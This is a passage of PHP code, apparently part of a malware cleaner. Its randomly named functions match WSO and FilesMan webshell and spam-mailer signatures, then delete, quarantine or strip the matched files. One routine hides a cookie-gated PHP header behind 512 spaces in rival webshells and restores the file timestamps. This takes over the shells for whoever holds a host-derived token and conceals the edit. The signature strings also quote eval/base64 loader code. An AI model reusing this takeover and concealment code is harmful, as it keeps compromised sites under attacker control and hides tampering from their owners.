if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function renl($content)
{
if ((strpos($content, "eval") !== FALSE || strpos($content, "preg_replace") !== FALSE || strpos($content, "_REQUEST") !== FALSE || strpos($content, "_PO") !== FALSE) && substr_count($content, "\n") <= 1 && strlen($content) < 1000)
{
    return TRUE;
}

return FALSE;
}
function gpporsfvgk($path)
{
return;
}
function rwnyobqqmva($content)
{
if (strpos($content, "null==getCookie(\"__cfgoid\")&&(setCookie(\"__cfgoid\",1,1),") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function ghqqmta($path)
{
return;
}
function rtvqlxjwddx($content)
{
if (strpos($content, " = \"\\x69\\x6e\\x74\\x76\\x61\\x6c\"; \$") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gozyp($path)
{
return;
}
function rsge($content)
{
if (strpos($content, "\$wp_enc_file = '<" . "?php eval(\"") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gqejtufzz($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rmmmyam($content)
{
if (strpos($content, "\treturn @gzinflate") !== FALSE && strpos($content, "'] : (isset(\$_COOKIE['") !== FALSE && strpos($content, "<form method=\"post\" action=\"\">") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gcspustc($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function ruouihrdz($content)
{
if (strpos($content, "urldecode(\"%6E1%7A%62%2F%6D%615%5C%76") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function ghak($path)
{
return;
}
function rhlw($content)
{
if (strpos($content, "\"));'); \$strings(\$light);") !== FALSE || strpos($content, "@\$strings(str_rot13('riny(") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function guwgrzrqq($path)
{
return;
}
function rpzfjmxvz($content)
{
if (strpos($content, "\$f = \$a(\"\", \$array_name(\$string));") !== FALSE && strpos($content, "MALWARE") === FALSE)
{
    return TRUE;
}
return FALSE;
}
function glwjbxxuzr($path)
{
return;
}
function rdsxquq($content)
{
if (strpos($content, "if( isset(\$_POST['_f_wp']) ) @setcookie( '_f_wp', \$_POST['_f_wp'] );") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function ghlle($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function ragzrmap($content)
{
if (strpos($content, "<" . "?php eval(gzinflate(base64_decode('") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gamfmimcbku($path)
{
return;
}
function rlcowogo($content)
{
if (substr_count($content, "].\$") == 15 && strpos($content, "FilesMan") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gdcbquqrt($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rzlnznkzv($content)
{
if (substr_count($content, "} . \$") == 36)
{
    return TRUE;
}
return FALSE;
}
function gqymzd($path)
{
return;
}
function rsbyua($content)
{
if (strpos($content, "\'#ListChecker#i\', \'#MSIECrawler#i\', \'#NetCache#i\', \'#Nutch#i\'") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gehfnkl($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rtxube($content)
{
if (substr_count($content, "return \"{\$") > 50)
{
    return TRUE;
}
return FALSE;

}
function gwyluqpwfs($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rqiuraxa($content)
{
if (strpos($content, " }eval(") !== FALSE && strpos($content, "\$i] = chr(ord(\$") !== FALSE && strpos($content, "=gzinflate(\$code($") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gfpt($path)
{
return;
}
function rklahagbih($content)
{
if (strpos($content, "ms_not_installed") !== FALSE && strpos($content, "\$id = \$_POST['id']") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gmiid($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rwjvnyl($content)
{
if (strpos($content, "if(!\$ping){post_mch(\$sd,'C1',\$rel);}") !== FALSE)
{
    return TRUE;
}
}
function giqxdc($path)
{
return;
}
function ryydmo($content)
{
if (strpos($content, "if (is_array(\$s) && (count(\$s) > 0) && isset(\$s[0]['txt']) && strlen(\$s[0]['txt']))") !== FALSE)
{
    return TRUE;
}

}
function gsmzgp($path)
{
return;
}
function rrbnhw($content)
{
if (strpos($content, "{\$r='';for(\$i=0;\$i<strLen(\$p);\$i+=2){\$r.=chr(hexdec(\$p[\$") !== FALSE)
{
    return TRUE;
}
}
function gswsnychht($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function revmgxkvt($content)
{
if (strpos($content, "z0=\$_REQUEST['sort'];\$q1='';\$c2=\"wt8m4;") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gqhq($path)
{
return;
}
function rxqdcvsq($content)
{
if (strpos($content, "aWYoISRfQ09PS0lFW") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function genwxpddeq($path)
{
return;
}
function rghst($content)
{
if (strpos($content, "error_reporting(E_ALL);\$DOMAIN_FNAME1_7QNG") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function glny($path)
{
return;
}
function rqtek($content)
{
if (strpos($content, "@ini_restore('error_log'); @ini_restore('display_errors'); /*") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function ghqmotzrcdb($path)
{
return;
}
function rcdh($content)
{
if (strpos($content, "<" . "?php eval(gzuncompress(base64_decode('eNq") !== FALSE) 
{
    return TRUE;
}
return FALSE;

}
function gphxqee($path)
{
return;
}
function rzkumfm($content)
{
if (strpos($content, "};}}return $") !== FALSE && strpos($content, "'.''.''.''.'") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gwdcwc($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function revfukit($content)
{
if (strpos($content, "function wp_sessiion_init(\$ytd){") !== FALSE && strpos($content, "='base64_decode';") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gddwowo($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rpvv($content)
{
$sig_3 = "<" . "?php eval(base64_decode('JGY9ZGlybmFtZSh";
if (strpos($content, $sig_3) !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function grdn($path)
{
return;
}
function ryzbmxedi($content)
{
$sig_2 = "if(\$_GET[\"login\"]==\"cmd\"){if(\$_POST['";
if (strpos($content, $sig_2) !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gvwmtuh($path)
{
return;
}
function rmmeftjrkko($content)
{
if (strpos($content, "//header('Content-Type:text/html; charset=utf-8');") !== FALSE && strpos($content, "global \$symbol_url") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gyvh($path)
{
return;
}
function rsqdxzc($content)
{
if (strpos($content, "<script language=javascript>eval(String.fromCharCode(118, 97, 114, 32,") !== FALSE)
{ 
    return TRUE; 
} 

return FALSE;
}
function gzab($path)
{
return;
}
function rdwilreqt($content)
{
if (strpos($content, "='';@eval(base64_decode('QG9iX3N0YXJ0K") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function guggmenyuzg($path)
{
return;
}
function rygyzwaqr($content)
{
 if (strpos($content, "@include_once('/") !== FALSE && strpos($content, $_SERVER["DOCUMENT_ROOT"]) !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gaqiuzry($path)
{
return;
}
function rqtqso($content)
{
if (strpos($content, "eval(gzuncompress(base64_decode('eNp") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gcuxvujjwv($path)
{
return;
}
function rcuxbxb($content)
{
if (strpos($content, "('Content-Type:text/html;charset=utf-8');if(!function_exists('str_ireplace')") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function galqam($path)
{
return;
}
function rdmpnhuctl($content)
{
if (strpos($content, "preg_match('#<img src=\"data:image/png;base64,(.*)\">#'") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function grzyfhm($path)
{
return;
}
function rsuv($content)
{
if (strpos($content, "\$meta = 'c'.'hr';") !== FALSE && strpos($content, "@\$docRoot(\$name(\$first,\$second));") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gokcteigjwr($path)
{
return;
}
function rbsdqsxwpo($content)
{
if (strpos($content, "# Esecuzione di un comando") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function ghvtrxswmzv($path)
{
return;
}
function rbsnuoh($content)
{
if (strpos($content, "function assert_main_php (\$domain, \$main_php, \$dir)") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gesxcuofvht($path)
{
return;
}
function rxpkwvkm($content)
{
if (strpos($content, "('', '}'.\$") !== FALSE && strpos($content, "?php function ") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gozmx($path)
{
return;
}
function rqhvxde($content)
{
if (strpos($content, "\$_FILES[\"filename\"][\"tmp_name\"]") !== FALSE && strpos($content, "Your IP: ") !== FALSE && strpos($content, "move_uploaded_file") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gpkmi($path)
{
return;
}
function rtjxul($content)
{
if (strpos($content, "script_name)) { echo '~Client has been activated") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gskpbrttwla($path)
{
return;
}
function reuaijxwh($content)
{
if (strpos($content, "<" . "?php /* WSO [2.6]  */\$") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gmqqulot($path)
{
return;
}
function ryhvdzuqxi($content)
{
if (strpos($content, "password: Xclusiv-3D") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gpuaws($path)
{
return;
}
function rrnyyo($content)
{
if (strpos($content, "\$sempax = 'eJzs") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gmxxqnej($path)
{
return;
}
function rzrbhu($content)
{
if (strpos($content, "Q2k4cUNpQXFJRkpGVmtsV") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gxmgkya($path)
{
return;
}
function rdimrh($content)
{
if (strpos($content, "\"));return;?" . ">") !== FALSE && strpos($content, "\";eval(base64_decode(\"") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gyyfvxpycsu($path)
{
return;
}
function rpcfnzs($content)
{
if (strpos($content, " = mail(\$_POST[") !== FALSE)
{
    return TRUE;
}

if (strpos($content, " = mail(base64_decode(") !== FALSE)
{
    return TRUE;
}

if (strpos($content, " = mail(stripslashes(\$") !== FALSE)
{
    return TRUE;
}

if (strpos($content, " = mail(stripslashes(\$") !== FALSE)
{
    return TRUE;
}

if (strpos($content, "mail") !== FALSE && substr_count($content, "stripslashes(base64_decode(\$_POST[") == 4)
{
    return TRUE;
}

if (strpos($content, "eval(\"return eval(\"\$code\");\") ?>") !== FALSE)
{
    return TRUE;
}

if (strpos($content, "if(isset(\$_POST[\"msgbody\"]))") !== FALSE && strpos($content, "if(isset(\$_POST[\"msgsubject\"]))") !== FALSE)
{
    return TRUE;
}


return FALSE;
}
function gcal($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rkhjpxpkkyq($content)
{
if (strpos($content, "eval") !== FALSE)
{
    $brace1 = substr_count($content, "{");
    $brace2 = substr_count($content, "(");
    if (($brace1 == 3 || $brace1 == 2) && ($brace2 == 6 || $brace2 == 4))
    {
        return TRUE;
    }
}

return FALSE;
}
function gyuda($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rswfnorgr($content)
{
if (strpos($content, "if(mail(\$MailTo,") !== FALSE)
{
    if (substr_count($content, ")") == 14)
    {
        return TRUE;
    }
}

return FALSE;
}
function guygmconszx($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rutsg($content)
{
if (strpos($content, ";eval(\$") !== FALSE)
{
    if (substr_count($content, ")") == 6)
    {
        return TRUE;
    }
}

return FALSE;
}
function giljj($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rhupqslmc($content)
{
if (strpos($content, "<?php @eval(\$_POST[") !== FALSE)
{
    return TRUE;
}

return FALSE;

}
function gjdgg($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rprwzpss($content)
{
if (strpos($content, "http://www.fopo.com.ar/") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function glwctlyh($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rjvsnrvyh($content)
{
$auth_token = md5(md5($_SERVER['HTTP_HOST']) . $_SERVER['HTTP_HOST'] . "salt1I*@#31RTds34+543sf");

$s1 = strpos($content, "FilesMan");
$s2 = strpos($content, "WSOsetcookie");

$s3_1 = strpos($content, "default_use_ajax");
$s3_2 = strpos($content, "default_action");

if (($s1 !== FALSE || $s2 !== FALSE || ($s3_1 !== FALSE && $s3_2 !== FALSE)) and strpos($content, $auth_token) === FALSE) 
{
    return TRUE;
}

return FALSE;
}
function gpcdpw($path)
{
$auth_token = md5(md5($_SERVER['HTTP_HOST']) . $_SERVER['HTTP_HOST'] . "salt1I*@#31RTds34+543sf");
$space_str = "";
for ($i=0; $i<512; $i++) {$space_str .= " ";}
$payload = "<" . "?php " . $space_str . " if (!isset(\$_COOKIE['[AUTH]'])) {header('HTTP/1.0 404 Not Found');exit;} ?> ";
$payload = str_replace('[AUTH]', $auth_token, $payload);
$data = @file_get_contents($path);

$mod_time = @stat($path);
@unlink($path);
@file_put_contents($path, $payload . $data);
if ($mod_time)
{
    @touch($path, $mod_time['mtime']);
}

}
function ryuhlvyflw($content)
{
if (strpos($content, "  ,\"") !== FALSE && strpos($content, "\";\$") !== FALSE && strpos($content, "'\".\$") !== FALSE && substr_count($content, " = \"") == 3)
{
    return TRUE;
}

return FALSE;
}
function gqhqtfjh($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rzvgo($content)
{
if (substr_count($content, ".chr(") > 20 && substr_count($content, "\n") < 10)
{
    return TRUE;
}
return FALSE;
}
function gqnq($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rhivhs($content)
{
if (strpos($content, "<?php \$") === 0 && substr_count($content, ";\$") == 7)
{
    return TRUE;
}

return FALSE;
}
function gfxyqtz($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rtyeka($content)
{
if (strpos($content, "};eval(\$") !== FALSE && substr_count($content, "}.\$") == 21 && substr_count($content, "};\$") == 4)
{
    return TRUE;
}

return FALSE;
}
function ggidzr($path)
{
$content = @file_get_contents($path);

$start = strpos($content, "<" . "?php");
if ($start !== FALSE)
{
    $stop = strpos($content, "?" . ">", $start);
    $payload_pos = strpos($content, "};eval(\$");

    if ($stop != FALSE && $payload_pos !== FALSE && $payload_pos < $stop)
    {
        $stop += 2;
        @file_put_contents($path, substr($content, $stop));
    }
}
}
function rpdav($content)
{
if (substr_count($content, "].\$") == 15 && substr_count($content, ").\"") >= 9)
{
    return TRUE;
}

return FALSE;
}
function gvkvrmwawk($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rjfzq($content)
{
if (strpos($content, "echo \"file test okay\";") !== FALSE && strpos($content, "if( isset(\$_REQUEST[\"test_url\"]) ){") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gzhjhmtw($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function roqx($content)
{
if ((strpos($content, "eval") !== FALSE || strpos($content, "preg_replace") !== FALSE || strpos($content, "_REQUEST") !== FALSE || strpos($content, "_PO") !== FALSE) && substr_count($content, "\n") <= 1 && strlen($content) < 1000)
{
    return TRUE;
}

return FALSE;
}
function gfmmfriqho($path)
{
return;
}
function rfvahkcom($content)
{
if (strpos($content, "null==getCookie(\"__cfgoid\")&&(setCookie(\"__cfgoid\",1,1),") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gcahn($path)
{
return;
}
function rvzwdjnl($content)
{
if (strpos($content, " = \"\\x69\\x6e\\x74\\x76\\x61\\x6c\"; \$") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function ggizcg($path)
{
return;
}
function rldwvrbm($content)
{
if (strpos($content, "\$wp_enc_file = '<" . "?php eval(\"") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gkwxmjj($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function ryltsm($content)
{
if (strpos($content, "\treturn @gzinflate") !== FALSE && strpos($content, "'] : (isset(\$_COOKIE['") !== FALSE && strpos($content, "<form method=\"post\" action=\"\">") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gtkhvauoz($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rbsmymxj($content)
{
if (strpos($content, "urldecode(\"%6E1%7A%62%2F%6D%615%5C%76") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gcxzd($path)
{
return;
}
function rwfmwtanvd($content)
{
if (strpos($content, "\"));'); \$strings(\$light);") !== FALSE || strpos($content, "@\$strings(str_rot13('riny(") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gankhpdiaa($path)
{
return;
}
function rpfnssforni($content)
{
if (strpos($content, "\$f = \$a(\"\", \$array_name(\$string));") !== FALSE && strpos($content, "MALWARE") === FALSE)
{
    return TRUE;
}
return FALSE;
}
function gscfmi($path)
{
return;
}
function rwlekesswou($content)
{
if (strpos($content, "if( isset(\$_POST['_f_wp']) ) @setcookie( '_f_wp', \$_POST['_f_wp'] );") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gzoamsh($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rbgs($content)
{
if (strpos($content, "<" . "?php eval(gzinflate(base64_decode('") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function ggawqfnuwth($path)
{
return;
}
function rwcglp($content)
{
if (substr_count($content, "].\$") == 15 && strpos($content, "FilesMan") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gkijmlmrz($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function resdiiqepy($content)
{
if (substr_count($content, "} . \$") == 36)
{
    return TRUE;
}
return FALSE;
}
function gdrzqfkn($path)
{
return;
}
function rszdmi($content)
{
if (strpos($content, "\'#ListChecker#i\', \'#MSIECrawler#i\', \'#NetCache#i\', \'#Nutch#i\'") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function geetkbggteh($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rwnm($content)
{
if (substr_count($content, "return \"{\$") > 50)
{
    return TRUE;
}
return FALSE;

}
function gdrmypn($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rffq($content)
{
if (strpos($content, " }eval(") !== FALSE && strpos($content, "\$i] = chr(ord(\$") !== FALSE && strpos($content, "=gzinflate(\$code($") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gwyunzatq($path)
{
return;
}
function rgjpn($content)
{
if (strpos($content, "ms_not_installed") !== FALSE && strpos($content, "\$id = \$_POST['id']") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gdayxewbifv($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function ristcurdrde($content)
{
if (strpos($content, "if(!\$ping){post_mch(\$sd,'C1',\$rel);}") !== FALSE)
{
    return TRUE;
}
}
function groszgxixql($path)
{
return;
}
function rlrdzwxugl($content)
{
if (strpos($content, "if (is_array(\$s) && (count(\$s) > 0) && isset(\$s[0]['txt']) && strlen(\$s[0]['txt']))") !== FALSE)
{
    return TRUE;
}

}
function gorvvqmls($path)
{
return;
}
function ryjlyge($content)
{
if (strpos($content, "{\$r='';for(\$i=0;\$i<strLen(\$p);\$i+=2){\$r.=chr(hexdec(\$p[\$") !== FALSE)
{
    return TRUE;
}
}
function gnryayodoh($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rsaqrov($content)
{
if (strpos($content, "z0=\$_REQUEST['sort'];\$q1='';\$c2=\"wt8m4;") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gfvhpcjx($path)
{
return;
}
function rxbxpbteydk($content)
{
if (strpos($content, "aWYoISRfQ09PS0lFW") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gklejcn($path)
{
return;
}
function rlqvggeuot($content)
{
if (strpos($content, "error_reporting(E_ALL);\$DOMAIN_FNAME1_7QNG") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gozumb($path)
{
return;
}
function rtagfja($content)
{
if (strpos($content, "@ini_restore('error_log'); @ini_restore('display_errors'); /*") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gugajjxu($path)
{
return;
}
function rlnzdzr($content)
{
if (strpos($content, "<" . "?php eval(gzuncompress(base64_decode('eNq") !== FALSE) 
{
    return TRUE;
}
return FALSE;

}
function gdctwsti($path)
{
return;
}
function rvpck($content)
{
if (strpos($content, "};}}return $") !== FALSE && strpos($content, "'.''.''.''.'") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gyhkyr($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rghzex($content)
{
if (strpos($content, "function wp_sessiion_init(\$ytd){") !== FALSE && strpos($content, "='base64_decode';") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gpdur($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rjug($content)
{
$sig_3 = "<" . "?php eval(base64_decode('JGY9ZGlybmFtZSh";
if (strpos($content, $sig_3) !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gcerlfx($path)
{
return;
}
function rydvhbwzni($content)
{
$sig_2 = "if(\$_GET[\"login\"]==\"cmd\"){if(\$_POST['";
if (strpos($content, $sig_2) !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gntaout($path)
{
return;
}
function rwpiho($content)
{
if (strpos($content, "//header('Content-Type:text/html; charset=utf-8');") !== FALSE && strpos($content, "global \$symbol_url") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function grnnybguiw($path)
{
return;
}
function rwalaqkds($content)
{
if (strpos($content, "<script language=javascript>eval(String.fromCharCode(118, 97, 114, 32,") !== FALSE)
{ 
    return TRUE; 
} 

return FALSE;
}
function gabvzktal($path)
{
return;
}
function razbwyxbjw($content)
{
if (strpos($content, "='';@eval(base64_decode('QG9iX3N0YXJ0K") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gtjzqnqgj($path)
{
return;
}
function rruzotloqs($content)
{
 if (strpos($content, "@include_once('/") !== FALSE && strpos($content, $_SERVER["DOCUMENT_ROOT"]) !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function ggezzse($path)
{
return;
}
function rydbpiug($content)
{
if (strpos($content, "eval(gzuncompress(base64_decode('eNp") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gtkr($path)
{
return;
}
function rpyprddx($content)
{
if (strpos($content, "('Content-Type:text/html;charset=utf-8');if(!function_exists('str_ireplace')") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gkchtqexoo($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function ryawrzrqf($content)
{
if (strpos($content, "preg_match('#<img src=\"data:image/png;base64,(.*)\">#'") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gsdtcfy($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rbgzqenzwv($content)
{
if (strpos($content, "\$meta = 'c'.'hr';") !== FALSE && strpos($content, "@\$docRoot(\$name(\$first,\$second));") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gjbsni($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rzfi($content)
{
if (strpos($content, "# Esecuzione di un comando") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gluwcgkl($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rwxx($content)
{
if (strpos($content, "function assert_main_php (\$domain, \$main_php, \$dir)") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gmsrm($path)
{
return;
}
function rujcatlgzd($content)
{
if (strpos($content, "('', '}'.\$") !== FALSE && strpos($content, "?php function ") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gbxwhaq($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rtomu($content)
{
if (strpos($content, "\$_FILES[\"filename\"][\"tmp_name\"]") !== FALSE && strpos($content, "Your IP: ") !== FALSE && strpos($content, "move_uploaded_file") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gsjjmms($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rutjsldqdqo($content)
{
if (strpos($content, "script_name)) { echo '~Client has been activated") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gsbyzz($path)
{
return;
}
function rsdztmdypa($content)
{
if (strpos($content, "<" . "?php /* WSO [2.6]  */\$") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gcri($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rqftakzaon($content)
{
if (strpos($content, "password: Xclusiv-3D") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gfkzuefcdem($path)
{
return;
}
function rxrdjpumthg($content)
{
if (strpos($content, "\$sempax = 'eJzs") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function grtukxhqnrg($path)
{
return;
}
function rmvxxdkyj($content)
{
if (strpos($content, "Q2k4cUNpQXFJRkpGVmtsV") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gpoeuq($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rxhuwnt($content)
{
if (strpos($content, "\"));return;?" . ">") !== FALSE && strpos($content, "\";eval(base64_decode(\"") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gnglgooy($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function ricoeyiii($content)
{
if (strpos($content, "{ \$x = ''; for (\$i = 0, \$n = strlen(\$s); \$i < \$n; \$i += 2)") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gnod($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function ryypkex($content)
{
if (strpos($content, " = mail(\$_POST[") !== FALSE)
{
    return TRUE;
}

if (strpos($content, " = mail(base64_decode(") !== FALSE)
{
    return TRUE;
}

if (strpos($content, " = mail(stripslashes(\$") !== FALSE)
{
    return TRUE;
}

if (strpos($content, " = mail(stripslashes(\$") !== FALSE)
{
    return TRUE;
}

if (strpos($content, "mail") !== FALSE && substr_count($content, "stripslashes(base64_decode(\$_POST[") == 4)
{
    return TRUE;
}

if (strpos($content, "eval(\"return eval(\"\$code\");\") ?>") !== FALSE)
{
    return TRUE;
}

if (strpos($content, "if(isset(\$_POST[\"msgbody\"]))") !== FALSE && strpos($content, "if(isset(\$_POST[\"msgsubject\"]))") !== FALSE)
{
    return TRUE;
}


return FALSE;
}
function gqbn($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rogua($content)
{
if (strpos($content, "eval") !== FALSE)
{
    $brace1 = substr_count($content, "{");
    $brace2 = substr_count($content, "(");
    if (($brace1 == 3 || $brace1 == 2) && ($brace2 == 6 || $brace2 == 4))
    {
        return TRUE;
    }
}

return FALSE;
}
function gpzmfj($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rtob($content)
{
if (strpos($content, "if(mail(\$MailTo,") !== FALSE)
{
    if (substr_count($content, ")") == 14)
    {
        return TRUE;
    }
}

return FALSE;
}
function gfjsi($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function ryjn($content)
{
if (strpos($content, ";eval(\$") !== FALSE)
{
    if (substr_count($content, ")") == 6)
    {
        return TRUE;
    }
}

return FALSE;
}
function gzoy($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function robwuk($content)
{
if (strpos($content, "<?php @eval(\$_POST[") !== FALSE)
{
    return TRUE;
}

return FALSE;

}
function gfywdi($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function reuiwfrnzn($content)
{
$sign = "<?php";
for ($i=0; $i<100; $i++) {$sign .= " ";}
$sign_pos = 0;
if (($sign_pos = strpos($content, $sign)) === FALSE)
{
    return FALSE;
}

$sign_pos_end = 0;
if (($sign_pos_end = strpos($content, "?>", $sign_pos)) === FALSE)
{
    return FALSE;
}

$content = substr($content, $sign_pos, $sign_pos_end-$sign_pos);

if (strpos($content, "eval") !== FALSE)
{
    $brace1 = substr_count($content, "{");
    $brace2 = substr_count($content, "(");
    if (($brace1 == 3 || $brace1 == 2) && ($brace2 == 6 || $brace2 == 4))
    {
        return TRUE;
    }
}

return FALSE;
}
function glvtuyjkcep($path)
{
$content = @file_get_contents($path);
$sign = "<?php";
for ($i=0; $i<100; $i++) {$sign .= " ";}
$sign_pos = 0;
if (($sign_pos = strpos($content, $sign)) === FALSE)
{
    return;
}
$sign_pos_end = 0;
if (($sign_pos_end = strpos($content, "?>", $sign_pos)) === FALSE)
{
    return;
}
else
{
    $sign_pos_end = $sign_pos_end + 2;
}
$content2 = substr($content, $sign_pos, $sign_pos_end-$sign_pos);
@unlink($path);
@file_put_contents($path, str_replace($content2, "", $content));
}
function rqeazjetf($content)
{
if (strpos($content, "http://www.fopo.com.ar/") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gloethdf($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rdul($content)
{
$auth_token = md5(md5($_SERVER['HTTP_HOST']) . $_SERVER['HTTP_HOST'] . "salt1I*@#31RTds34+543sf");

$s1 = strpos($content, "FilesMan");
$s2 = strpos($content, "WSOsetcookie");

$s3_1 = strpos($content, "default_use_ajax");
$s3_2 = strpos($content, "default_action");

if (($s1 !== FALSE || $s2 !== FALSE || ($s3_1 !== FALSE && $s3_2 !== FALSE)) and strpos($content, $auth_token) === FALSE) 
{
